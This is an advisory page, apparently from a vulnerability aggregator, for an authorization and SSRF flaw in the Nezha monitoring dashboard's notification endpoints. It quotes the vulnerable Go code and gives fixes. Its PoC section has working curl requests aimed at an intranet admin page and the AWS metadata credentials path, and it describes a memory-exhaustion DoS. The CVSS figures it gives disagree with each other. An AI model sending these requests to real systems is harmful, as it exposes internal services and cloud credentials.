Nezha Monitoring CVE-2026-46717
HIGHSeverity by source
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
Network-reachable endpoint, low complexity, requires a RoleMember account (PR:L), scope changes to intranet systems (S:C), partial confidentiality from body reflection (C:L), and unbounded ReadAll enables limited DoS (A:L).
Primary rating from Vendor (https://github.com/nezhahq/nezha).
CVSS VectorVendor: https://github.com/nezhahq/nezha
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
Lifecycle Timeline
6DescriptionCVE.org
Summary
nezha's dashboard supports two user roles: RoleAdmin (Role0) and RoleMember (Role1). The notification routes POST /api/v1/notification and PATCH /api/v1/notification/:id are wired through commonHandler rather than adminHandler - so a RoleMember user can call them. These handlers synchronously Send() an HTTP request to a user-controlled URL and reflect the *entire* response body (no size limit) back to the caller on any non-2xx response.
Net effect: a low-privilege RoleMember can read intranet HTTP response bodies via the dashboard's hub.
Affected versions
Commit 50dc8e660326b9f22990898142c58b7a5312b42a and earlier on master.
Reachability chain
cmd/dashboard/controller/controller.go:121-122
auth.GET("/notification", listHandler(listNotification))
auth.POST("/notification", commonHandler(createNotification)) // <-- commonHandler, not adminHandlerFor comparison, /user routes ARE gated by adminHandler:
auth.GET("/user", adminHandler(listUser))
auth.POST("/user", adminHandler(createUser))
auth.POST("/batch-delete/user", adminHandler(batchDeleteUser))adminHandler (controller.go:220-236) explicitly enforces user.Role.IsAdmin(). commonHandler (controller.go:214-218) does not.
The vulnerable handler
// cmd/dashboard/controller/notification.go:46-83
func createNotification(c *gin.Context) (uint64, error) {
var nf model.NotificationForm
if err := c.ShouldBindJSON(&nf); err != nil { return 0, err }
var n model.Notification
n.UserID = getUid(c)
n.Name = nf.Name
n.RequestMethod = nf.RequestMethod
n.RequestType = nf.RequestType
n.RequestHeader = nf.RequestHeader
n.RequestBody = nf.RequestBody
n.URL = nf.URL
...
ns := model.NotificationServerBundle{Notification: &n, Server: nil, Loc: singleton.Loc}
if !nf.SkipCheck {
if err := ns.Send(singleton.Localizer.T("a test message")); err != nil {
return 0, err // <-- err.Error() reflects up to caller via newErrorResponse
}
}
...
}Identical pattern in updateNotification (PATCH /notification/:id) at lines 97-146.
The reflection sink
// model/notification.go:113-159
func (ns *NotificationServerBundle) Send(message string) error {
var client *http.Client
n := ns.Notification
if n.VerifyTLS != nil && *n.VerifyTLS {
client = utils.HttpClient
} else {
client = utils.HttpClientSkipTlsVerify
}
reqBody, err := ns.reqBody(message)
if err != nil { return err }
reqMethod, err := n.reqMethod()
if err != nil { return err }
req, err := http.NewRequest(reqMethod, ns.reqURL(message), strings.NewReader(reqBody))
if err != nil { return err }
n.setContentType(req)
if err := n.setRequestHeader(req); err != nil { return err }
resp, err := client.Do(req)
if err != nil { return err }
defer func() { _ = resp.Body.Close() }()
if resp.StatusCode < 200 || resp.StatusCode > 299 {
body, _ := io.ReadAll(resp.Body) // <-- NO io.LimitReader
return fmt.Errorf("%d@%s %s", resp.StatusCode, resp.Status, string(body))
} else {
_, _ = io.Copy(io.Discard, resp.Body)
}
return nil
}The full body (no size limit) is concatenated into an error string. That error flows through commonHandler → handle() → newErrorResponse(err) → c.JSON(http.StatusOK, ...). The intranet response body is JSON-encoded back to the RoleMember caller.
Additional wrinkle: client = utils.HttpClientSkipTlsVerify when VerifyTLS is false - attacker-controlled. So the SSRF works against TLS endpoints too, ignoring cert validation.
PoC
A. Read intranet admin-panel response body
curl -X POST -H "Authorization: Bearer <member-jwt>" \
-H "Content-Type: application/json" \
-d '{"name":"x","url":"http://192.168.1.1/admin/index.html","request_method":1,"request_type":1,"verify_tls":false,"skip_check":false}' \
http://nezha-dashboard.example.com/api/v1/notificationResponse:
{"success":false,"error":"401@Unauthorized <full HTML body of the admin login page, no size limit>"}B. AWS IMDSv2 reachability + body leak
curl -X POST -H "Authorization: Bearer <member-jwt>" \
-H "Content-Type: application/json" \
-d '{"name":"x","url":"http://169.254.169.254/latest/meta-data/iam/security-credentials/","request_method":1,"request_type":1,"verify_tls":false,"skip_check":false}' \
http://nezha-dashboard.example.com/api/v1/notificationIMDSv2 returns 401 with a body explaining the missing token; that body is reflected.
C. DoS via large internal file
Because the body is read via unbounded io.ReadAll, a RoleMember pointing at any internal large-file URL (logs, package mirrors, video) blows up dashboard memory.
Suggested fix
- Switch /notification routes to
adminHandler. Same fix for/alert-rule,/cron,/ddnsif they also issue user-URL requests synchronously. Compare with how/useris already guarded.
auth.POST("/notification", adminHandler(createNotification))
auth.PATCH("/notification/:id", adminHandler(updateNotification))- SSRF-harden
NotificationServerBundle.Send():
- Resolve URL host once via
net.LookupIP; refuse private/loopback/link-local/CGNAT. - Pin
http.Transport.DialContextto the resolved IP - closes DNS-rebinding TOCTOU. - Refuse non-http(s) schemes.
- Cap response body:
io.LimitReader(resp.Body, 4096). 4 KB is plenty for surfacing webhook errors. - Reconsider
VerifyTLS=falsetoggle on RoleMember-reachable paths - if the route remains member-reachable, at minimum cert validation should be enforced.
Severity
- CVSS 3.1: Medium -
AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:L≈ 6.4. PR:L because attacker needs aRoleMemberaccount (admin-issued). C:L because intranet response bodies can be read but typically not full credentials. A:L because of the unbounded body-read DoS. - Auth: authenticated
RoleMember(Role == 1).
Reproduction environment
- Tested against:
nezhahq/nezha:v0.x(commit50dc8e660326b9f22990898142c58b7a5312b42a). - Code locations:
- Handler:
cmd/dashboard/controller/notification.go:46-83, 97-146 - Sink:
model/notification.go:113-159 - Auth gate:
cmd/dashboard/controller/controller.go:121-122(commonHandler), 214-236 (handler defs)
Reporter
Eddie Ran. Filed via reporter API (PVR enabled). nezha's SECURITY.md mentions email hi@nai.ba for vulnerability reports - happy to also send via email if the maintainer prefers.
AnalysisAI
Server-side request forgery in Nezha Monitoring dashboard (versions >=1.4.0, <1.14.15-0.20260517022419-d06d539d34c1) allows authenticated low-privilege RoleMember accounts to issue arbitrary HTTP requests to intranet targets via the POST /api/v1/notification and PATCH /api/v1/notification/:id endpoints, with full unbounded response bodies reflected back through error messages. Publicly available exploit code exists in the GHSA advisory, though EPSS is 0.03% (9th percentile) suggesting low mass-exploitation likelihood against this niche server-monitoring tool. Root cause is a missing adminHandler authorization gate combined with a notification webhook tester that ignores private/loopback CIDRs and lacks an io.LimitReader.
Technical ContextAI
Nezha (github.com/nezhahq/nezha) is a Go-based self-hosted server monitoring dashboard that supports user-configurable webhook notifications. The vulnerability is CWE-863 (Incorrect Authorization): routes in cmd/dashboard/controller/controller.go:121-122 were registered with commonHandler (any authenticated user) instead of adminHandler, while the comparable /user routes correctly use adminHandler that enforces user.Role.IsAdmin(). The downstream NotificationServerBundle.Send() in model/notification.go:113-159 performs a synchronous outbound HTTP request to a user-controlled URL using utils.HttpClientSkipTlsVerify when VerifyTLS is false, then on any non-2xx response concatenates the full response body via unbounded io.ReadAll into an error string that propagates back to the caller as a JSON error field - turning a webhook-test feature into a classic blind-SSRF-with-body-reflection primitive against the host's network position (intranet HTTP services, cloud metadata endpoints like 169.254.169.254).
RemediationAI
Vendor-released patch: upgrade to 1.14.15-0.20260517022419-d06d539d34c1 or later, which lands fix commit d06d539d34c143d842b91e2a64326e8c8f9bc405 (https://github.com/nezhahq/nezha/commit/d06d539d34c143d842b91e2a64326e8c8f9bc405). The fix introduces a CIDR blocklist (RFC1918, loopback, link-local, CGNAT 100.64.0.0/10, IMDS 169.254.0.0/16, IPv6 ULA/link-local/etc.), pins http.Transport.DialContext to a pre-resolved IP to close DNS-rebinding TOCTOU, rejects non-http(s) schemes, disables redirect following, and caps reflected response bodies via io.CopyN(io.Discard, resp.Body, 4096) while removing the body string from the error message entirely. If immediate upgrade is not possible, restrict RoleMember account provisioning to trusted users only, block outbound egress from the dashboard host to internal CIDRs and to cloud metadata endpoints (169.254.169.254) at the network layer - accepting that this also disables legitimate intranet webhook delivery - and consider front-loading /api/v1/notification POST/PATCH with a reverse-proxy ACL that requires admin-equivalent identity. Auditors should also review /alert-rule, /cron, and /ddns for the same commonHandler vs adminHandler gap noted by the reporter.
Same weakness CWE-863 – Incorrect Authorization
View allSame technique Authentication Bypass
View allShare
External POC / Exploit Code
Leaving vuln.today
GHSA-w4g9-mxgg-j532